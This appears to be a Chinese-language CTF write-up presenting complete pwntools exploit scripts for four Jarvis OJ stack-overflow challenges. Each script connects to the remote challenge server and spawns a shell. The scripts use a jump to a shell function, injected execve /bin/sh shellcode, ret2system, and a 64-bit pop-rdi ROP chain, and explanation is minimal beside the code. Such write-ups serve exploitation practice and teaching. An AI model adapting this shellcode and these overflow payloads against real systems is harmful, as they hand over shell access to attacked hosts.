X-MAN(level0~level2)

X-MAN(level0~level2)

题目资源在这里

这几个题目比较简单,就不一一详细描述了,exp如下:

level0

栈溢出十分明显,程序里自带callsystem的函数,看了一下,就是调用/bin/sh,直接跳转过去就好

from pwn import *
#p=process('./level0')
p=remote('pwn2.jarvisoj.com',9881)

call_system=0x0000000000400596
payload='a'*136+p64(call_system)
p.send(payload)
p.interactive()

level1

同样是很简单的栈溢出,弄清楚shellcode的存放地址

from pwn import *
# p = process('./level1')  # local
p = remote('pwn2.jarvisoj.com', 9877)  # remote
p.recvuntil(':')
address = p.recvuntil('?', drop=True)
address = int(address, 16)
print address
junk = 'a' * 0x88
ebp = 'aaaa'
retaddr = address + 0x88 + 4 + 4
shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f" \
    "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0" \
    "\x0b\xcd\x80\n"
payload = junk + ebp + p32(retaddr) + shellcode
p.send(payload)
p.interactive()

level2

还是栈溢出,搜索字符串发现bss段里有“/bin/sh”,可以直接调用。注意p32(4)是虚构的返回地址,随便是申都可以。

from pwn import *

#p=process('./level2')
p=remote('pwn2.jarvisoj.com',9878)

systemadd=0x08048320
shelladd=0x0804A024

payload='a'*140+p32(systemadd)+p32(4)+p32(shelladd)

p.send(payload)
p.interactive()

level2_x86

本题主要考察的是64位下参数的传递顺序,从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9,之后所有的参数通过栈来传递。本题的关键在于将/bin/sh放在RDI寄存器中。

from pwn import *

#p=process('./level2_x64')
p=remote('pwn2.jarvisoj.com',9882)

level2=ELF('./level2_x64')
systemadd=level2.plt['system']
print hex(systemadd)

shelladd=0x00600a90
rdiret=0x00000000004006b3

payload='a'*128+"b"*8+p64(rdiret)+p64(shelladd)+p64(systemadd)

p.send(payload)
p.interactive()
文章目录
  1. 1. X-MAN(level0~level2)
    1. 1.0.1. level0
    2. 1.0.2. level1
    3. 1.0.3. level2
    4. 1.0.4. level2_x86
|